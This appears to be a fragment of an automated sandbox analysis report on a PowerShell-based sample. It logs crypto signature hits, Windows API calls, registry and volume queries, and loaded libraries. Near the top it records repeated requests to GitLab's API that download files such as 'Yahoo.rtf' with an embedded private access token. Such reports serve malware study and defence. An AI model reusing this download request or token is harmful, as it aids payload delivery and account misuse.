glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "group5101713/ri/hifer/repository/files/Yahoo" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "main" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "1PRIVATE" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "bKit/537" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "like" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "/145" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "main" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "1PRIVATE" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "bKit/537" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "like" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base64 string in header "/145" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com"2b:T419,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Reads the cryptographic machine GUID Matched sigs: YARA signature match – Encryption algorithm2c:T1648,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acd5e102020000000000000000000051edc0f8fd7f00000000000002020000000000000000000049d1f0b5487e00002a00000000000000f049f3de020200008fecc0f8fd7f0000e0acd5e102020000e0acd5e102020000000000000000000000000000fd7f0000ffffff7f55bb000000000000000000000000000000000000d8cec9e1020200002a0000000000000069c382e10202000031000000000000007c0200000000000060020000000000001100011000000000b0af73952900000003a32bf6fd7f0000b0af73952900000000000000000000002b00000000000000000000000000000020b088e102020000b43f87e102020000e0cec9e1 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000010bd7395290000003c0100000000000000000000000000000000000000000000000000000000000050b6739529000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000038beb5c0e4ca0000000000000000000000000000000000003c0100000000000020c17395290000000800000000000000000000000000000000000000000000000000000000000000fffffffffd7f000000000000 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000004000000000000000000021df020200000b8ebef8fd7f0000000021df02020000020000000202000038000000000000004000000000000000300321df0202000088ddc896290000000100000000000000030000000000000001000000000000000b000000000000002010e3de0202000000000000000000000000e3de02020000c093effa0202000000000000000000001300000001000000000000000000000080000000000000000400000000000000000000000000000058aaeffa0202000004000000000000003800000000000000f0982af6fd7f00003800000000000000380000000000000000dfc89629000000c00c6dc2fd7f000000000000 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0a8e1fd7f0000070000000000000000000000000000000100000000000000b0a821df0202000000000000000000005037d4e0020200004c982af6fd7f00005078d4e002020000b3ce63c2fd7f0000f03ed4e002020000004fa8e1fd7f0000d0b0a8e1fd7f000000000000000000000000000000000000f03ed4e002020000b0a821df02020000b097d4e00202000058dfc896290000004c982af6fd7f0000010000000000000058dfc89629000000b097d4e002020000f03ed4e002020000010000000000000002bc63c2fd7f0000f038d4e002020000e0b2d2e002020000feffffff040000007df0a7e1fd7f0000b094d4e0 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000b0a821df0202000000000000000000005037d4e0020200004c982af6fd7f0000d071d4e002020000b3ce63c2fd7f0000103dd4e002020000384fa8e1fd7f0000d0b0a8e1fd7f000000000000000000000000000000000000103dd4e002020000b0a821df02020000b097d4e00202000050dfc896290000004c982af6fd7f0000010000000000000050dfc89629000000b097d4e002020000103dd4e002020000010000000000000002bc63c2fd7f00000000000000000000e0b2d2e002020000f038d4e004000000feffffffffffffffb0a821df020200007df0a7e1fd7f000000000000 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006444) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005528)2d:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c0000005c30750e008000d4ce01 (UID: 00000000-00006444) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005528) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004752) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e0063000500000580aa0000d034bd3f (UID: 00000000-00006112)2e:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2f:T1205,"powershell.exe" queries volume information of "C:\" at 00000000-00006444-00000C17-2518962129 "powershell.exe" queries volume information of "C:\" at 00000000-00006444-00000C17-2518980615 "powershell.exe" queries volume information of "C:\" at 00000000-00006444-00000C17-2518985132 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006444-00000C17-2521920599 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006444-00000C17-2522651748 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006444-00000C17-2523171905 "powershell.exe" queries volume information of "C:\" at 00000000-00006444-00000C17-2523428713 "powershell.exe" queries volume information of "C:\share" at 00000000-00006444-00000C17-2523430303 "powershell.exe" queries volume information of "C:\share" at 00000000-00006444-00000C17-2523525396 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006444-00000C17-2524292681 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006444-00000C17-2524432008 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006444-00000C17-2524480272 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-2528900966 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005528-00000C17-2529199955 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005528-00000C17-2529820057 "powershell.exe" queries volume information of "C:\" at 00000000-00005528-00000C17-2530076294 "powershell.exe" queries volume information of "C:\share" at 00000000-00005528-00000C17-2530078145 "powershell.exe" queries volume information of "C:\share" at 00000000-00005528-00000C17-2530559591 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-2531369400 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-2531594728 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-2531688056 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-2531733951 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-2534677656 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Web.Administration\7.0.0.0__31bf3856ad364e35\Microsoft.Web.Administration.dll" at 00000000-00005528-00000C17-2534940581 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005528-00000C17-253506098330:Taabc,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006444) 